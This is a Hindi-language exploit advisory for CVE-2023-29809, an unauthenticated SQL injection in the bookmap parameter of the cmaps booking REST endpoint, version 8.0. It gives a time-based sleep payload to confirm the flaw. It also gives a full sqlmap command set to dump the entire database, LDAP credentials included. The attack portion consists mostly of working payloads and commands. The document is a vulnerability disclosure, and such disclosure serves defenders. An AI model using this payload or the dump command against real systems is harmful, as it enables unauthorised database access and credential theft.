शोषण शीर्षक: अनधिकृत SQL इंजेक्शन

• Google Dork:
• दिनांक: 27.04.2023
• शोषण लेखक: Lucas Noki (0xPrototype)
• विक्रेता होमपेज: https://github.com/vogtmh
• सॉफ्टवेयर लिंक: https://github.com/vogtmh/cmaps
• संस्करण: 8.0
• परीक्षण किया गया: Mac, Windows, Linux
• CVE : CVE-2023-29809

विवरण:

पाई गई कमजोरी एक SQL इंजेक्शन है। bookmap पैरामीटर संवेदनशील है। जब पेज पर जाते हैं: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test तो हमें सामान्य JSON प्रतिक्रिया मिलती है। हालांकि यदि bookmap पैरामीटर के मान में एक एकल उद्धरण जोड़ा जाता है तो हमें एक त्रुटि संदेश मिलता है:

<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />

अब यदि दो एकल उद्धरण जोड़े जाते हैं तो हमें बिना किसी त्रुटि के सामान्य प्रतिक्रिया मिलती है। यह SQL इंजेक्शन के अवसर की पुष्टि करता है। वास्तव में SQL इंजेक्शन साबित करने के लिए हम निम्नलिखित पेलोड जोड़ते हैं:

'-(select*from(select+sleep(2)+from+dual)a)--+

पेज दो सेकंड के लिए सो जाएगा। यह SQL इंजेक्शन की पुष्टि करता है।

पुनरुत्पादन के चरण:

1. कमजोरी का परीक्षण करने के लिए निम्नलिखित पेलोड भेजें: '-(select*from(select+sleep(2)+from+dual)a)--+

2. यदि साइट दो सेकंड के लिए सो गई तो पूरे डेटाबेस को ldap क्रेडेंशियल्स समेत डंप करने के लिए निम्नलिखित sqlmap कमांड चलाएँ।

   root@kitploit:~

   python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
   

विशेष धन्यवाद iCaotix को जिन्होंने पर्यावरण सेटअप करने और मेरे पेलोड को डीबग करने में बहुत मदद की।

सर्वर से अनुरोध:

सर्वर से प्रतिक्रिया:

प्रतिक्रिया समय देखें।